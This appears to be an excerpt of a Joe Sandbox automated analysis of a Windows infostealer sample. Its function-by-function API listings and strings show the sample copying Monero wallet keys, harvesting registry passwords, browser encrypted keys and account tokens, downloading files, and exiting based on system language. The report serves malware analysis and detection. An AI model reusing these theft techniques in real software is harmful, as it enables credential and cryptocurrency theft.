Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 24d73d29d38f41f881eea5962ecc163b8db5653a8a7021f1d17afc3626325baf
Instruction ID: b4fc219b249cd0017c6375d005d6e06cbc1fc33c5fcf3422b20a8be202920db8
Opcode Fuzzy Hash: 24d73d29d38f41f881eea5962ecc163b8db5653a8a7021f1d17afc3626325baf
Instruction Fuzzy Hash: 80C197B59401199BCB14EF60DC89FEE7379FB94304F044598F50AA7282EA70AEC9DF91

Function 00C44280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C48E0B

lstrcat.KERNEL32(?,00000000), ref: 00C442EC
lstrcat.KERNEL32(?,019DD988), ref: 00C4430B
lstrcat.KERNEL32(?,?), ref: 00C4431F
lstrcat.KERNEL32(?,019DC828), ref: 00C44333

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C48D90: GetFileAttributesA.KERNEL32(00000000,?,00C31B54,?,?,00C5564C,?,?,00C50E1F), ref: 00C48D9F

Part of subcall function 00C39CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00C39D39

Part of subcall function 00C399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C399EC
Part of subcall function 00C399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C39A11
Part of subcall function 00C399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C39A31
Part of subcall function 00C399C0: ReadFile.KERNEL32(000000FF,?,00000000,00C3148F,00000000), ref: 00C39A5A
Part of subcall function 00C399C0: LocalFree.KERNEL32(00C3148F), ref: 00C39A90
Part of subcall function 00C399C0: CloseHandle.KERNEL32(000000FF), ref: 00C39A9A

Part of subcall function 00C493C0: GlobalAlloc.KERNEL32(00000000,00C443DD,00C443DD), ref: 00C493D3

StrStrA.SHLWAPI(?,019DDA90), ref: 00C443F3
GlobalFree.KERNEL32(?), ref: 00C44512

Part of subcall function 00C39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C34EEE,00000000,00000000), ref: 00C39AEF
Part of subcall function 00C39AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00C34EEE,00000000,?), ref: 00C39B01
Part of subcall function 00C39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C34EEE,00000000,00000000), ref: 00C39B2A
Part of subcall function 00C39AC0: LocalFree.KERNEL32(?,?,?,?,00C34EEE,00000000,?), ref: 00C39B3F

lstrcat.KERNEL32(?,00000000), ref: 00C444A3
StrCmpCA.SHLWAPI(?,00C508D1), ref: 00C444C0
lstrcat.KERNEL32(00000000,00000000), ref: 00C444D2
lstrcat.KERNEL32(00000000,?), ref: 00C444E5
lstrcat.KERNEL32(00000000,00C50FB8), ref: 00C444F4

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: eb2560caf3e9b138d27adda3fc475e6c29ddfb53b86c6234afd078d6e646c946
Instruction ID: 587ec6733fe922f1a37eb35f862b124b06e258ea4698c8893f9f6a62018b9bae
Opcode Fuzzy Hash: eb2560caf3e9b138d27adda3fc475e6c29ddfb53b86c6234afd078d6e646c946
Instruction Fuzzy Hash: FD712876910208ABDB14FBE0DC8AFEE7379BB88300F144598F619A7181DA74DB49DF91

Function 00C31310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C312A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C312B4
Part of subcall function 00C312A0: RtlAllocateHeap.NTDLL(00000000), ref: 00C312BB
Part of subcall function 00C312A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00C312D7
Part of subcall function 00C312A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00C312F5
Part of subcall function 00C312A0: RegCloseKey.ADVAPI32(?), ref: 00C312FF

lstrcat.KERNEL32(?,00000000), ref: 00C3134F
lstrlen.KERNEL32(?), ref: 00C3135C
lstrcat.KERNEL32(?,.keys), ref: 00C31377

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C48B60: GetSystemTime.KERNEL32(00C50E1A,019D9B48,00C505AE,?,?,00C313F9,?,0000001A,00C50E1A,00000000,?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C48B86

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00C31465

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C399EC
Part of subcall function 00C399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C39A11
Part of subcall function 00C399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C39A31
Part of subcall function 00C399C0: ReadFile.KERNEL32(000000FF,?,00000000,00C3148F,00000000), ref: 00C39A5A
Part of subcall function 00C399C0: LocalFree.KERNEL32(00C3148F), ref: 00C39A90
Part of subcall function 00C399C0: CloseHandle.KERNEL32(000000FF), ref: 00C39A9A

DeleteFileA.KERNEL32(00000000), ref: 00C314EF

Strings

wallet_path, xrefs: 00C31330
.keys, xrefs: 00C3136B
SOFTWARE\monero-project\monero-core, xrefs: 00C31335
\Monero\wallet.keys, xrefs: 00C3138D

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 964117cb293ff04cb71da6b6b799e6a1de7487bdbf23b056c76899c16ba99677
Instruction ID: 1404bf979e7bdf4b3c79b85eb6a1d4a4c1eab7abe3cac0bf0de82ba1d30bda04
Opcode Fuzzy Hash: 964117cb293ff04cb71da6b6b799e6a1de7487bdbf23b056c76899c16ba99677
Instruction Fuzzy Hash: B95121B19901185BDB15FB60DD96BED737CBF54300F4045A8B60AA2082EE706B89DFA6

Function 00C375D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C372D0: memset.MSVCRT ref: 00C37314
Part of subcall function 00C372D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00C3733A
Part of subcall function 00C372D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00C373B1
Part of subcall function 00C372D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00C3740D
Part of subcall function 00C372D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00C37452
Part of subcall function 00C372D0: HeapFree.KERNEL32(00000000), ref: 00C37459

lstrcat.KERNEL32(00000000,00C517FC), ref: 00C37606
lstrcat.KERNEL32(00000000,00000000), ref: 00C37648
lstrcat.KERNEL32(00000000, : ), ref: 00C3765A
lstrcat.KERNEL32(00000000,00000000), ref: 00C3768F
lstrcat.KERNEL32(00000000,00C51804), ref: 00C376A0
lstrcat.KERNEL32(00000000,00000000), ref: 00C376D3
lstrcat.KERNEL32(00000000,00C51808), ref: 00C376ED
task.LIBCPMTD ref: 00C376FB

Strings

: , xrefs: 00C3764E

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 677fdfa3b470d61204f2baceefb6cdad8e85f10cb3fd17617b79460da8a5c0a9
Instruction ID: fd1d8de8a0d17569764f0871819d0fe360e7d1cd5d56ec7bff19bcafefe700e0
Opcode Fuzzy Hash: 677fdfa3b470d61204f2baceefb6cdad8e85f10cb3fd17617b79460da8a5c0a9
Instruction Fuzzy Hash: C93150B1910109DFCB18EBE5DC9ADFF7374BB84302F184128F516B7290DA34A98ADB52

Function 00C372D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C37314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00C3733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00C373B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00C3740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00C37452
HeapFree.KERNEL32(00000000), ref: 00C37459
task.LIBCPMTD ref: 00C37555

Strings

Password, xrefs: 00C37401

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 9728c9a5ffc86faca335009bca6ce4d049e1857b64864f081d0afe2775fcbdf8
Instruction ID: 756f05378c85ebf78d3230cf521e63f6e00fb8d53770a5fe5f47f8627688b06a
Opcode Fuzzy Hash: 9728c9a5ffc86faca335009bca6ce4d049e1857b64864f081d0afe2775fcbdf8
Instruction Fuzzy Hash: E6614CB591426C9BDB24DB50CC45BDAB7B8BF48300F0481E9E689A6141DFB06FC9DFA1

Function 00C48100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,019DDE68,00000000,?,00C50E2C,00000000,?,00000000), ref: 00C48130
RtlAllocateHeap.NTDLL(00000000), ref: 00C48137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00C48158
__aulldiv.LIBCMT ref: 00C48172
__aulldiv.LIBCMT ref: 00C48180
wsprintfA.USER32 ref: 00C481AC

Strings

%d MB, xrefs: 00C481A3
@, xrefs: 00C4814D

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 9efbcb82c332ea1edb9d289069a7886c1e77ac5c81817d5c1ef1ea3cef47be72
Instruction ID: b26e331c527d6f9934d28da6c6bbf4ce3c8b60836d57779488e19202c3acbed1
Opcode Fuzzy Hash: 9efbcb82c332ea1edb9d289069a7886c1e77ac5c81817d5c1ef1ea3cef47be72
Instruction Fuzzy Hash: 9A214AB1E44208ABDB00DFD5CC49FAEB7B8FB44B00F104219F605BB280C77869058BA5

Function 00C360A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C34839
Part of subcall function 00C347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C34849

InternetOpenA.WININET(00C50DF7,00000001,00000000,00000000,00000000), ref: 00C3610F
StrCmpCA.SHLWAPI(?,019DE580), ref: 00C36147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00C3618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00C361B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00C361DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00C3620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00C36249
InternetCloseHandle.WININET(?), ref: 00C36253
InternetCloseHandle.WININET(00000000), ref: 00C36260

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 2092ae5410f79a95e8d1959e21641dcf64d7530abc59464741640a31aaa6a88f
Instruction ID: 4eb638dcbab83ef26619851c053c695037dca09495b3b33779b1afb116db84ea
Opcode Fuzzy Hash: 2092ae5410f79a95e8d1959e21641dcf64d7530abc59464741640a31aaa6a88f
Instruction Fuzzy Hash: 40518FB0950208AFEB24DF51DC45BEE77B8FB44301F1080A8E609A71C0DB756A89CF95

Function 00C3BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

lstrlen.KERNEL32(00000000), ref: 00C3BC9F

Part of subcall function 00C48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C48E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00C3BCCD
lstrlen.KERNEL32(00000000), ref: 00C3BDA5
lstrlen.KERNEL32(00000000), ref: 00C3BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00C3BBEB
AccountTokens, xrefs: 00C3BB49
AccountTokens, xrefs: 00C3BABA
AccountId, xrefs: 00C3BCC4

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 7dd8e1aad46adcf93f802b40c801bf3595c9a510896917afc7d12bffa92b0566
Instruction ID: ee958e5fee5be4dec0e7576e7452f46e6ca6b9cf104d9aae9c8d32594da74d03
Opcode Fuzzy Hash: 7dd8e1aad46adcf93f802b40c801bf3595c9a510896917afc7d12bffa92b0566
Instruction Fuzzy Hash: BCB14172950108ABEB14FBA0DD96EEE7338FF54304F444568F506B6092EF346E49DBA2

Function 00C46770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00C46774
ExitProcess.KERNEL32 ref: 00C467A5
ExitProcess.KERNEL32 ref: 00C467AF
ExitProcess.KERNEL32 ref: 00C467B9
ExitProcess.KERNEL32 ref: 00C467C3
ExitProcess.KERNEL32 ref: 00C467CD

Strings

*, xrefs: 00C4678C

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: a798eef28ea36acac72eb6263fcc36ecbcc78d658a14db500af3b36bfb92d211
Instruction ID: 36d45ec60bf6565c869d677236bdda0ebc08d8ea0ee37e08f34b2b38c0b06608
Opcode Fuzzy Hash: a798eef28ea36acac72eb6263fcc36ecbcc78d658a14db500af3b36bfb92d211
Instruction Fuzzy Hash: 10F05E30904209EFD348DFE2E90972C7BB0FB45703F0801AAE60DA6290D7744B82DB97

